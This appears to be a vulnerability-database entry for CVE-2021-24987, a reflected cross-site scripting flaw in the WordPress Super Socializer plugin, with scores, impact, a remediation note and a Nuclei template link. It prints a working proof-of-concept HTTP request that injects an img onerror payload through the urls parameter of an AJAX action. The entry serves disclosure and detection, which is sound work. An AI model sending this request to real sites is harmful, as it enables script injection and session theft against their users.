| Title | WordPress Super Socializer <7.13.30 - Cross-Site Scripting |
|---|---|
| Author | Akincibor |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update to the latest version of the WordPress Super Socializer plugin (7.13.30 or higher) to mitigate the vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.06052 |
| CVE ID | CVE-2021-24987 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wpscan xss wp wp-plugin wordpress heateor vuln |
WordPress Super Socializer plugin before 7.13.30 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape the urls parameter in its the_champ_sharing_count AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response.
GET /wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[]=<img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24987.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24987.pcap
N/AN/A